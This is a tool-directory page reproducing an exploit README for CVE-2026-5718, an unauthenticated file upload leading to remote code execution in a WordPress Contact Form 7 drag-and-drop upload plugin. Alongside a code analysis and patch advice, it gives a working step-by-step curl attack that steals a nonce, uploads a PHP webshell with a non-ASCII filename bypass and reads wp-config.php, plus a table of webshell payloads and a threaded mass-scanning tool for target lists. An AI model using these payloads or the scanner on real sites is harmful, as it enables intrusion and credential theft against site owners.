Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5718 — CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-5718
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-5718

CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin

CVE-2026-5718 — DnD CF7 File Upload RCE Scanner

Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug: drag-and-drop-multiple-file-upload-contact-form-7 CVE ID: CVE-2026-5718 CVSS Score: 8.1 (High) CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Vulnerability Type: Unauthenticated Arbitrary File Upload → Remote Code Execution Affected Versions: <= 1.3.9.6 Patched Version: 1.3.9.7 Release Date: April 17, 2026 Researcher: Leonid Semenenko (lsemenenko) — Wordfence


📌 About the Vulnerability

In the Drag and Drop Multiple File Upload for Contact Form 7 plugin, two independent logic flaws combine to allow unauthenticated attackers to upload a PHP webshell.

  1. Blacklist Override: A custom blacklist configuration completely replaces the default dangerous extension list instead of merging it. php is no longer blocked.

  • Non-ASCII Bypass: The presence of non-ASCII characters in the filename prevents wpcf7_antiscript_file_name() from being called. The .php extension is preserved and the file is written to disk.


  • 🔍 Vulnerability Summary

    FieldValue
    Plugin NameDrag and Drop Multiple File Upload for CF7
    CVE IDCVE-2026-5718
    CVSS Score8.1 (High)
    Vulnerability TypeUnauthenticated Arbitrary File Upload
    Affected Version<= 1.3.9.6
    Patched Version1.3.9.7
    PrerequisiteCF7 form with custom blacklist-types configuration

    ⚙️ Technical Analysis

    Vulnerability 1 — Nonce Publicly Accessible (line 62)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 62–71
    function dnd_wpcf7_nonce_check() {
        // Only protection: User-Agent 'curl' check — easily bypassed
        if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
            wp_send_json_error('Request blocked: cURL access is forbidden.');
        }
    
        if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
            // Invalid nonce → RETURNS NEW NONCE
            wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
        }
    }
    

    The wp_ajax_nopriv__wpcf7_check_nonce action is publicly accessible. When an invalid nonce is sent, a new nonce is given for free. The curl check is bypassed using Mozilla UA.


    Vulnerability 2 — Blacklist Replacing Instead of Merging (line 883)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 883–886
    $blacklist_types = dnd_cf7_not_allowed_ext();
    // ↑ ~80 dangerous extensions: php, php3, php4, pht, phtml, phar...
    
    if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
        $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
        // ↑ ASSIGNMENT (=) — NOT MERGE
        // Custom list: only ['zip']
        // 'php' is NOT in the list anymore → accepted
    }
    

    Triggering form tag configuration:

    root@kitploit:~
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

    Admin wants to block ZIP → plugin overwrites entire default denylist. All dangerous extensions including php are now accepted.

    Additionally, the hardcoded list for filetypes="*" is also incomplete:

    root@kitploit:~
    // line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' MISSING
    $not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
    

    Vulnerability 3 — Non-ASCII Bypass (line 970)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 969–972
    $ascii_name = dnd_cf7_remove_icons( $filename );
    
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        // Only called for pure-ASCII file names
        $filename = wpcf7_antiscript_file_name( $ascii_name );
        // ↑ would make shell.php → shell.php.txt — but bypassed
    }
    // If non-ASCII character present, this block IS SKIPPED
    // $filename = "shellシ.php" → .php extension preserved
    
    root@kitploit:~
    // dnd_cf7_check_ascii() — lines 1029–1041
    function dnd_cf7_check_ascii( $string ) {
        $string = sanitize_file_name( $string );
        // ↑ Only local copy changes, outer $filename NOT AFFECTED
        if ( mb_check_encoding( $string, 'ASCII' ) ) {
            return true;
        }
        return false;  // Non-ASCII character → false → antiscript skipped
    }
    

    🔴 Full Attack Chain

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
    │  User-Agent: Mozilla/5.0  (not curl)                       │
    │       │                                                     │
    │       ▼                                                     │
    │  {"success":true,"data":"abc123def456"}                     │
    │  → Nonce obtained for free                                 │
    └──────────────────────────┬──────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────┐
    │  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
    │  security=abc123def456                                      │
    │  upload-file=shellシ.php (Content-Type: application/x-php) │
    │       │                                                     │
    │       ├── Nonce valid ✓                                     │
    │       ├── blacklist=['zip'] → 'php' not blocked ✓          │
    │       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
    │       ├── wpcf7_antiscript_file_name() BYPASSED ✓          │
    │       └── move_uploaded_file("shellシ.php") → Written to disk│
    └──────────────────────────┬──────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────┐
    │  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
    │      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
    │       │                                                     │
    │       ▼                                                     │
    │  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
    │  → Unauthenticated RCE ✓                                    │
    └─────────────────────────────────────────────────────────────┘
    

    🧪 Proof of Concept (Manual)

    ⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only. Use only on systems you own or have explicit written authorization to test.

    Prerequisites:

    • Plugin installed and active (version <= 1.3.9.6)
    • CF7 form must contain [mfile] field with blacklist-types:
      root@kitploit:~
      [mfile upload-file filetypes="*" blacklist-types:zip]
      

    Step 1 — Get Nonce

    root@kitploit:~
    TARGET="https://target.example.com"
    
    NONCE=$(curl -s -X POST \
      "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      --data "action=_wpcf7_check_nonce" \
      | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
    
    echo "Nonce: $NONCE"
    

    Expected response:

    root@kitploit:~
    {"success": true, "data": "abc123def456"}
    

    Step 2 — Create Webshell with Non-ASCII Filename

    root@kitploit:~
    # 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
    SHELL_FILENAME="shellシ.php"
    echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
    

    Step 3 — Upload Shell

    root@kitploit:~
    FORM_ID=1
    FIELD_NAME="upload-file"
    SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
    
    curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      -F "action=dnd_codedropz_upload" \
      -F "security=${NONCE}" \
      -F "form_id=${FORM_ID}" \
      -F "upload_name=${FIELD_NAME}" \
      -F "upload_folder=${SESSION_FOLDER}" \
      -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
    

    Expected response:

    root@kitploit:~
    {
      "success": true,
      "data": {
        "path": "<session-folder-uuid>",
        "file": "shellシ.php"
      }
    }
    

    Step 4 — Construct Shell URL

    root@kitploit:~
    UPLOAD_PATH="<path-from-response>"
    SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
    echo "Shell URL: $SHELL_URL"
    

    Step 5 — Trigger RCE

    root@kitploit:~
    # id command
    curl -s "${SHELL_URL}?cmd=id"
    # uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    # Read wp-config.php
    curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
    

    🛠️ Automatic Scanner

    Installation

    root@kitploit:~
    git clone https://github.com/kullanici/cve-2026-5718-scanner
    cd cve-2026-5718-scanner
    pip install -r requirements.txt
    

    requirements.txt

    root@kitploit:~
    requests
    

    🚀 Usage

    Single Target — Fully Automatic

    root@kitploit:~
    python dnd_cf7_upload.py -u http://target.com
    

    Manual Form ID and Field Name

    root@kitploit:~
    python dnd_cf7_upload.py -u http://target.com \
      --form-id 1 --field-name upload-file
    

    Full Shell + Custom Command

    root@kitploit:~
    python dnd_cf7_upload.py -u http://target.com \
      --shell-type full --verify-cmd "whoami"
    

    Batch Scan

    root@kitploit:~
    python dnd_cf7_upload.py -l targets.txt -t 20 -o results.txt
    

    With Proxy (Burp Suite)

    root@kitploit:~
    python dnd_cf7_upload.py -u http://target.com \
      --proxy http://127.0.0.1:8080
    

    ⚙️ Parameters

    ParameterShortDescriptionDefault
    --url-uSingle target URL—
    --list-lTarget list file—
    --threads-tNumber of threads10
    --output-oOutput filerce_results.txt
    --form-id—CF7 form IDauto-detect
    --field-name—mfile field nameupload-file
    --shell-name—Shell filenameshell
    --shell-type—Shell typesystem
    --verify-cmd—RCE verification commandid
    --proxy—Proxy URL—
    --timeout—Request timeout (sec)10
    --force—Continue even if plugin detection failsFalse

    💀 Shell Types

    TypePayloadDescription
    system<?php system($_GET["cmd"]); ?>Basic system command
    passthru<?php passthru($_GET["cmd"]); ?>Raw output
    exec<?php echo exec($_GET["cmd"]); ?>Silent execution
    assert<?php assert($_POST["cmd"]); ?>eval via POST
    b64<?php eval(base64_decode($_POST["cmd"])); ?>Base64 obfuscation
    fullshell_exec + system + exec fallbackFull-featured

    🔤 Non-ASCII Character Set

    The scanner tries the following characters in order:

    CharacterUnicodeDescription
    シU+30B7Katakana Si (used in PoC)
    жU+0436Cyrillic
    ñU+00F1Latin Extended
    中U+4E2DCJK
    αU+03B1Greek
    ßU+00DFGerman

    📂 Shell Upload Location

    root@kitploit:~
    WordPress Root/
    └── wp-content/
        └── uploads/
            └── wp_dndcf7_uploads/
                └── wpcf7-files/
                    └── <session-uuid>/
                        └── shellシ.php   ← Shell is here
    

    ⚠️ Note: The plugin cleans files after 1 hour by default. Shell is accessible during this time.


    📊 Scanner Output Statuses

    StatusDescription
    ★ RCE OKShell uploaded + command executed
    ★ SHELL ALIVEShell accessible, different response
    ~ EXEC_DISABLEDShell exists, exec() disabled
    ~ HTACCESSShell uploaded but .htaccess block
    ? UPLOADEDUploaded but URL not found
    - UPL_FAILUpload failed (patched/no configuration)
    ~ NO_NONCENonce could not be obtained
    - NO_PLUGINPlugin not installed
    ~ UNREACHTarget unreachable

    🖥️ Example Scanner Output

    root@kitploit:~
    [*] Target       : http://target.com
    [*] Form ID     : automatic detection
    [*] Shell Type  : system
    [*] Verify CMD  : id
    
    [→] http://target.com  Step 1/5: Getting nonce...
    [→] http://target.com  Step 2/5: Detecting CF7 form...
    [→] http://target.com  Step 3/5: Uploading shell (non-ASCII bypass)...
    [→] http://target.com  Step 4/5: Constructing shell URL...
    [→] http://target.com  Step 5/5: Verifying RCE...
    
    ═════════════════════════════════════════════════════════════════
    [★ RCE OK    ] http://target.com
      Version       : 1.3.9.6
      Nonce       : abc123def4  (source: ajax_endpoint)
      Non-ASCII   : シ
      Shell URL   : http://target.com/wp-content/uploads/wp_dndcf7_uploads/
                    wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
      RCE Output  : uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ═════════════════════════════════════════════════════════════════
    
    [+] Saved → rce_results.txt
    

    🛡️ Defense / Patch

    MeasureImplementation
    Plugin UpdateUpgrade to version 1.3.9.7+
    Blacklist MergeUse array_merge() instead of =
    Unconditional Antiscriptwpcf7_antiscript_file_name() must always be called
    Nonce ProtectionNonce endpoint should be closed to public access
    .htaccessBlock PHP execution in upload directory

    Secure blacklist merge:

    root@kitploit:~
    // Insecure (current — 1.3.9.6)
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    
    // Secure (recommended — 1.3.9.7+)
    $blacklist_types = array_merge(
        dnd_cf7_not_allowed_ext(),
        explode( '|', $blacklist["$cf7_upload_name"] )
    );
    

    Unconditional antiscript:

    root@kitploit:~
    // Insecure (current)
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        $filename = wpcf7_antiscript_file_name( $ascii_name );
    }
    
    // Secure (recommended)
    $filename = wpcf7_antiscript_file_name( $filename );  // always call
    

    Upload directory .htaccess:

    root@kitploit:~
    <FilesMatch "\.php\d?$">
        Deny from all
    </FilesMatch>
    Options -ExecCGI
    AddType text/plain .php .php5 .phtml .phar
    

    📁 File Structure

    root@kitploit:~
    cve-2026-5718-scanner/
    ├── dnd_cf7_upload.py   # Main scanner
    ├── requirements.txt    # Dependencies
    └── README.md           # This file
    

    ⚠️ Legal Disclaimer

    This tool and PoC are prepared for use only on authorized systems, for educational purposes, and within the scope of penetration testing. Use on unauthorized systems constitutes a crime under Turkish Penal Code Articles 243-245 and international cybercrime laws. The developer accepts no legal liability resulting from misuse of this tool.


    📄 License

    MIT License — For educational and research purposes only.


    🔗 References

    • Wordfence Advisory
    • Plugin WordPress Directory
    • CVSS 3.1 Calculator
    • CWE-434: Unrestricted Upload of File with Dangerous Type
    • Unicode Non-ASCII Characters
    Download Tool